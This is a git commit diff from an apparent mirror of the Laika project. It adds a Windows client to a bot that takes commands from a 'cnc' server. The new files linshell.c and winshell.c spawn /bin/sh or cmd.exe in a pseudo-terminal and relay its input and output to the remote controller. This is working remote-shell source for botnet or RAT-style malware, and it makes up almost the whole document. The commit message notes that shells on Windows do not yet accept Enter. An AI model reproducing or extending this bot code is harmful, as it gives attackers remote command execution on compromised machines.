mirror of
https://github.com/CPunch/Laika.git
synced 2024-12-26 12:50:06 +00:00
Added Windows Bot client
- Shells 'work' but line endings aren't converted yet so pressing enter doesn't work lol
This commit is contained in:
parent
851cb95d75
commit
4833dea67f
3
.vscode/settings.json
vendored
3
.vscode/settings.json
vendored
@ -27,7 +27,8 @@
|
||||
"*.in": "cpp",
|
||||
"lerror.h": "c",
|
||||
"stdbool.h": "c",
|
||||
"alloca.h": "c"
|
||||
"alloca.h": "c",
|
||||
"bot.h": "c"
|
||||
},
|
||||
"cSpell.words": [
|
||||
"cnc's",
|
||||
|
@ -42,8 +42,8 @@ add_subdirectory(lib)
|
||||
add_subdirectory(tools)
|
||||
|
||||
# these subprojects don't support windows (sorry)
|
||||
add_subdirectory(bot) # windows support Soon:tm:
|
||||
if(NOT WIN32 AND (UNIX AND NOT APPLE))
|
||||
add_subdirectory(bot) # windows support Soon:tm:
|
||||
add_subdirectory(cnc)
|
||||
add_subdirectory(shell)
|
||||
endif ()
|
||||
|
@ -10,8 +10,19 @@ set_property(GLOBAL PROPERTY USE_FOLDERS ON)
|
||||
# compile LaikaBot
|
||||
file(GLOB_RECURSE BOTSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
|
||||
file(GLOB_RECURSE BOTHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h)
|
||||
add_executable(LaikaBot ${BOTSOURCE} ${BOTHEADERS})
|
||||
target_link_libraries(LaikaBot PUBLIC LaikaLib util)
|
||||
|
||||
# include platform specific backends
|
||||
set(BOTPLATFORMSOURCE)
|
||||
set(BOTPLATFORMLIBS)
|
||||
if(WIN32)
|
||||
file(GLOB_RECURSE BOTPLATFORMSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/win/**.c)
|
||||
elseif(UNIX AND NOT APPLE)
|
||||
file(GLOB_RECURSE BOTPLATFORMSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/lin/**.c)
|
||||
set(BOTPLATFORMLIBS util)
|
||||
endif ()
|
||||
|
||||
add_executable(LaikaBot ${BOTSOURCE} ${BOTHEADERS} ${BOTPLATFORMSOURCE})
|
||||
target_link_libraries(LaikaBot PUBLIC LaikaLib ${BOTPLATFORMLIBS})
|
||||
|
||||
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
|
||||
target_compile_definitions(LaikaBot PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
|
||||
|
@ -4,10 +4,7 @@
|
||||
#include <stddef.h>
|
||||
|
||||
struct sLaika_bot;
|
||||
struct sLaika_shell {
|
||||
int pid;
|
||||
int fd;
|
||||
};
|
||||
struct sLaika_shell;
|
||||
|
||||
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows);
|
||||
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
|
||||
|
110
bot/lin/linshell.c
Normal file
110
bot/lin/linshell.c
Normal file
@ -0,0 +1,110 @@
|
||||
/* platform specific code for opening shells in linux */
|
||||
|
||||
#include <unistd.h>
|
||||
#include <signal.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <pty.h>
|
||||
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
#include "bot.h"
|
||||
#include "shell.h"
|
||||
|
||||
struct sLaika_shell {
|
||||
int pid;
|
||||
int fd;
|
||||
};
|
||||
|
||||
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows) {
|
||||
struct winsize ws;
|
||||
struct sLaika_shell *shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell));
|
||||
|
||||
ws.ws_col = cols;
|
||||
ws.ws_row = rows;
|
||||
shell->pid = forkpty(&shell->fd, NULL, NULL, &ws);
|
||||
|
||||
if (shell->pid == 0) {
|
||||
/* child process, clone & run shell */
|
||||
execlp("/bin/sh", "sh", (char*) NULL);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
/* make sure our calls to read() & write() do not block */
|
||||
if (fcntl(shell->fd, F_SETFL, (fcntl(shell->fd, F_GETFL, 0) | O_NONBLOCK)) != 0) {
|
||||
laikaB_freeShell(bot, shell);
|
||||
LAIKA_ERROR("Failed to set shell fd O_NONBLOCK");
|
||||
}
|
||||
|
||||
return shell;
|
||||
}
|
||||
|
||||
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
||||
/* kill the shell */
|
||||
kill(shell->pid, SIGTERM);
|
||||
close(shell->fd);
|
||||
|
||||
bot->shell = NULL;
|
||||
laikaM_free(shell);
|
||||
}
|
||||
|
||||
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
||||
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH];
|
||||
struct sLaika_peer *peer = bot->peer;
|
||||
struct sLaika_socket *sock = &peer->sock;
|
||||
|
||||
int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH);
|
||||
|
||||
if (rd > 0) {
|
||||
/* we read some input! send to cnc */
|
||||
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
|
||||
laikaS_write(sock, readBuf, rd);
|
||||
laikaS_endVarPacket(peer);
|
||||
} else if (rd == -1) {
|
||||
if (LN_ERRNO == LN_EWOULD || LN_ERRNO == EAGAIN)
|
||||
return true; /* recoverable, there was no data to read */
|
||||
/* not EWOULD or EAGAIN, must be an error! so close the shell */
|
||||
|
||||
/* tell cnc shell is closed */
|
||||
laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
|
||||
|
||||
/* kill shell */
|
||||
laikaB_freeShell(bot, shell);
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length) {
|
||||
struct sLaika_peer *peer = bot->peer;
|
||||
struct sLaika_socket *sock = &peer->sock;
|
||||
size_t nLeft;
|
||||
int nWritten;
|
||||
|
||||
nLeft = length;
|
||||
while (nLeft > 0) {
|
||||
if ((nWritten = write(shell->fd, buf, nLeft)) < 0) {
|
||||
/* some error occurred */
|
||||
if (length == nLeft) {
|
||||
/* unrecoverable error */
|
||||
|
||||
/* tell cnc shell is closed */
|
||||
laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
|
||||
|
||||
/* kill shell */
|
||||
laikaB_freeShell(bot, shell);
|
||||
return false;
|
||||
} else { /* recoverable */
|
||||
break;
|
||||
}
|
||||
} else if (nWritten == 0) {
|
||||
break;
|
||||
}
|
||||
nLeft -= nWritten;
|
||||
buf += nWritten;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
@ -1,108 +1,12 @@
|
||||
#include <unistd.h>
|
||||
#include <signal.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <pty.h>
|
||||
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
#include "bot.h"
|
||||
#include "shell.h"
|
||||
|
||||
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows) {
|
||||
struct winsize ws;
|
||||
struct sLaika_shell *shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell));
|
||||
|
||||
ws.ws_col = cols;
|
||||
ws.ws_row = rows;
|
||||
shell->pid = forkpty(&shell->fd, NULL, NULL, &ws);
|
||||
|
||||
if (shell->pid == 0) {
|
||||
/* child process, clone & run shell */
|
||||
execlp("/bin/sh", "sh", (char*) NULL);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
/* make sure our calls to read() & write() do not block */
|
||||
if (fcntl(shell->fd, F_SETFL, (fcntl(shell->fd, F_GETFL, 0) | O_NONBLOCK)) != 0) {
|
||||
laikaB_freeShell(bot, shell);
|
||||
LAIKA_ERROR("Failed to set shell fd O_NONBLOCK");
|
||||
}
|
||||
|
||||
bot->shell = shell;
|
||||
return shell;
|
||||
}
|
||||
|
||||
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
||||
/* kill the shell */
|
||||
kill(shell->pid, SIGTERM);
|
||||
close(shell->fd);
|
||||
|
||||
bot->shell = NULL;
|
||||
laikaM_free(shell);
|
||||
}
|
||||
|
||||
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
||||
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH];
|
||||
struct sLaika_peer *peer = bot->peer;
|
||||
struct sLaika_socket *sock = &peer->sock;
|
||||
|
||||
int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH);
|
||||
|
||||
if (rd > 0) {
|
||||
/* we read some input! send to cnc */
|
||||
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
|
||||
laikaS_write(sock, readBuf, rd);
|
||||
laikaS_endVarPacket(peer);
|
||||
} else if (rd == -1) {
|
||||
if (LN_ERRNO == LN_EWOULD || LN_ERRNO == EAGAIN)
|
||||
return true; /* recoverable, there was no data to read */
|
||||
/* not EWOULD or EAGAIN, must be an error! so close the shell */
|
||||
|
||||
/* tell cnc shell is closed */
|
||||
laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
|
||||
|
||||
/* kill shell */
|
||||
laikaB_freeShell(bot, shell);
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length) {
|
||||
struct sLaika_peer *peer = bot->peer;
|
||||
struct sLaika_socket *sock = &peer->sock;
|
||||
size_t nLeft;
|
||||
int nWritten;
|
||||
|
||||
nLeft = length;
|
||||
while (nLeft > 0) {
|
||||
if ((nWritten = write(shell->fd, buf, nLeft)) < 0) {
|
||||
/* some error occurred */
|
||||
if (length == nLeft) {
|
||||
/* unrecoverable error */
|
||||
|
||||
/* tell cnc shell is closed */
|
||||
laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
|
||||
|
||||
/* kill shell */
|
||||
laikaB_freeShell(bot, shell);
|
||||
return false;
|
||||
} else { /* recoverable */
|
||||
break;
|
||||
}
|
||||
} else if (nWritten == 0) {
|
||||
break;
|
||||
}
|
||||
nLeft -= nWritten;
|
||||
buf += nWritten;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ============================================[[ Packet Handlers ]]============================================= */
|
||||
|
||||
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
@ -117,7 +21,7 @@ void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
|
||||
laikaS_readInt(&peer->sock, &rows, sizeof(uint16_t));
|
||||
|
||||
/* open shell */
|
||||
laikaB_newShell(bot, cols, rows);
|
||||
bot->shell = laikaB_newShell(bot, cols, rows);
|
||||
}
|
||||
|
||||
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
|
210
bot/win/winshell.c
Normal file
210
bot/win/winshell.c
Normal file
@ -0,0 +1,210 @@
|
||||
/* platform specific code for opening shells (pseudo consoles) on windows */
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
#include "bot.h"
|
||||
#include "shell.h"
|
||||
|
||||
#include <windows.h>
|
||||
#include <process.h>
|
||||
|
||||
/* shells are significantly more complex on windows than linux for laika */
|
||||
struct sLaika_shell {
|
||||
HANDLE in, out;
|
||||
PROCESS_INFORMATION procInfo;
|
||||
STARTUPINFOEX startupInfo;
|
||||
HPCON pseudoCon;
|
||||
/* HANDLE watcherMutex;
|
||||
char *outBuf;
|
||||
int outCount, outCap;
|
||||
char *inBuf;
|
||||
int inCount, inCap; */
|
||||
};
|
||||
|
||||
/* edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
|
||||
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows) {
|
||||
COORD consoleSize = (COORD){.X = cols, .Y = rows};
|
||||
HANDLE hPipePTYIn = INVALID_HANDLE_VALUE;
|
||||
HANDLE hPipePTYOut = INVALID_HANDLE_VALUE;
|
||||
HRESULT hr;
|
||||
DWORD mode = PIPE_NOWAIT;
|
||||
|
||||
/* create the pipes to which the ConPTY will connect */
|
||||
if (!CreatePipe(&hPipePTYIn, phPipeOut, NULL, 0) || !CreatePipe(phPipeIn, &hPipePTYOut, NULL, 0))
|
||||
return HRESULT_FROM_WIN32(GetLastError());
|
||||
|
||||
/* anon pipes can be set to non-blocking for backwards compatibility. this makes our life much easier so it fits in nicely with
|
||||
the rest of the laika codebase (https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-setnamedpipehandlestate) */
|
||||
if (!SetNamedPipeHandleState(*phPipeIn, &mode, NULL, NULL))
|
||||
return HRESULT_FROM_WIN32(GetLastError());
|
||||
|
||||
/* create the pseudo console of the required size, attached to the PTY - end of the pipes */
|
||||
hr = CreatePseudoConsole(consoleSize, hPipePTYIn, hPipePTYOut, 0, phPC);
|
||||
|
||||
/* we can close the handles to the PTY-end of the pipes here
|
||||
because the handles are dup'ed into the ConHost and will be released
|
||||
when the ConPTY is destroyed. */
|
||||
CloseHandle(hPipePTYOut);
|
||||
CloseHandle(hPipePTYIn);
|
||||
return hr;
|
||||
}
|
||||
|
||||
/* also edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
|
||||
HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC) {
|
||||
HRESULT hr = E_UNEXPECTED;
|
||||
|
||||
if (pStartupInfo) {
|
||||
size_t attrListSize = 0;
|
||||
pStartupInfo->StartupInfo.cb = sizeof(STARTUPINFOEX);
|
||||
|
||||
/* Get the size of the thread attribute list & allocate it */
|
||||
InitializeProcThreadAttributeList(NULL, 1, 0, &attrListSize);
|
||||
pStartupInfo->lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)laikaM_malloc(attrListSize);
|
||||
|
||||
/* Initialize thread attribute list */
|
||||
if (pStartupInfo->lpAttributeList
|
||||
&& InitializeProcThreadAttributeList(pStartupInfo->lpAttributeList, 1, 0, &attrListSize)){
|
||||
|
||||
/* Set Pseudo Console attribute */
|
||||
hr = UpdateProcThreadAttribute(
|
||||
pStartupInfo->lpAttributeList,
|
||||
0,
|
||||
PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE,
|
||||
hPC,
|
||||
sizeof(HPCON),
|
||||
NULL,
|
||||
NULL)
|
||||
? S_OK : HRESULT_FROM_WIN32(GetLastError());
|
||||
} else {
|
||||
hr = HRESULT_FROM_WIN32(GetLastError());
|
||||
}
|
||||
}
|
||||
|
||||
return hr;
|
||||
}
|
||||
|
||||
|
||||
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows) {;
|
||||
HRESULT hr;
|
||||
char cmd[] = "cmd.exe";
|
||||
struct sLaika_shell* shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell));
|
||||
|
||||
ZeroMemory(shell, sizeof(struct sLaika_shell));
|
||||
|
||||
/* create pty */
|
||||
hr = CreatePseudoConsoleAndPipes(&shell->pseudoCon, &shell->in, &shell->out, cols, rows);
|
||||
if (hr != S_OK) {
|
||||
laikaM_free(shell);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* create process */
|
||||
hr = InitializeStartupInfoAttachedToPseudoConsole(&shell->startupInfo, shell->pseudoCon);
|
||||
if (hr != S_OK) {
|
||||
ClosePseudoConsole(shell->pseudoCon);
|
||||
|
||||
laikaM_free(shell);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* launch cmd shell */
|
||||
hr = CreateProcessA(
|
||||
NULL, /* No module name - use Command Line */
|
||||
cmd, /* Command Line */
|
||||
NULL, /* Process handle not inheritable */
|
||||
NULL, /* Thread handle not inheritable */
|
||||
FALSE, /* Inherit handles */
|
||||
EXTENDED_STARTUPINFO_PRESENT, /* Creation flags */
|
||||
NULL, /* Use parent's environment block */
|
||||
NULL, /* Use parent's starting directory */
|
||||
&shell->startupInfo.StartupInfo,/* Pointer to STARTUPINFO */
|
||||
&shell->procInfo) /* Pointer to PROCESS_INFORMATION */
|
||||
? S_OK : HRESULT_FROM_WIN32(GetLastError());
|
||||
|
||||
if (hr != S_OK) {
|
||||
DeleteProcThreadAttributeList(shell->startupInfo.lpAttributeList);
|
||||
laikaM_free(shell->startupInfo.lpAttributeList);
|
||||
|
||||
ClosePseudoConsole(shell->pseudoCon);
|
||||
|
||||
laikaM_free(shell);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return shell;
|
||||
}
|
||||
|
||||
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
||||
/* kill process (it's ok if it fails) */
|
||||
TerminateProcess(shell->procInfo.hProcess, 0);
|
||||
|
||||
/* cleanup process - info & thread */
|
||||
CloseHandle(shell->procInfo.hThread);
|
||||
CloseHandle(shell->procInfo.hProcess);
|
||||
|
||||
/* Cleanup attribute list */
|
||||
DeleteProcThreadAttributeList(shell->startupInfo.lpAttributeList);
|
||||
laikaM_free(shell->startupInfo.lpAttributeList);
|
||||
|
||||
/* close pseudo console */
|
||||
ClosePseudoConsole(shell->pseudoCon);
|
||||
|
||||
/* free shell struct */
|
||||
laikaM_free(shell);
|
||||
bot->shell = NULL;
|
||||
}
|
||||
|
||||
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
||||
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH];
|
||||
struct sLaika_peer* peer = bot->peer;
|
||||
struct sLaika_socket* sock = &peer->sock;
|
||||
DWORD rd;
|
||||
bool readSucc = ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH, &rd, NULL);
|
||||
|
||||
if (readSucc) {
|
||||
/* we read some input! send to cnc */
|
||||
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
|
||||
laikaS_write(sock, readBuf, rd);
|
||||
laikaS_endVarPacket(peer);
|
||||
} else {
|
||||
if (GetLastError() == ERROR_NO_DATA)
|
||||
return true; /* recoverable, there was no data to read */
|
||||
|
||||
/* tell cnc shell is closed */
|
||||
laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
|
||||
|
||||
/* kill shell */
|
||||
laikaB_freeShell(bot, shell);
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length) {
|
||||
struct sLaika_peer* peer = bot->peer;
|
||||
struct sLaika_socket* sock = &peer->sock;
|
||||
size_t nLeft;
|
||||
DWORD nWritten;
|
||||
|
||||
nLeft = length;
|
||||
while (nLeft > 0) {
|
||||
if (!WriteFile(shell->out, (void*)buf, length, &nWritten, NULL)) {
|
||||
/* unrecoverable error */
|
||||
|
||||
/* tell cnc shell is closed */
|
||||
laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
|
||||
|
||||
/* kill shell */
|
||||
laikaB_freeShell(bot, shell);
|
||||
return false;
|
||||
}
|
||||
|
||||
if (nWritten == 0)
|
||||
break;
|
||||
|
||||
nLeft -= nWritten;
|
||||
buf += nWritten;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
@ -9,8 +9,8 @@
|
||||
#define LAIKA_MAX_PKTSIZE 4096
|
||||
|
||||
#define LAIKA_HOSTNAME_LEN 64
|
||||
#define LAIKA_IPV4_LEN INET_ADDRSTRLEN
|
||||
#define LAIKA_INET_LEN INET_ADDRSTRLEN
|
||||
#define LAIKA_IPV4_LEN 16
|
||||
#define LAIKA_INET_LEN 16
|
||||
|
||||
#define LAIKA_SHELL_DATA_MAX_LENGTH 256
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user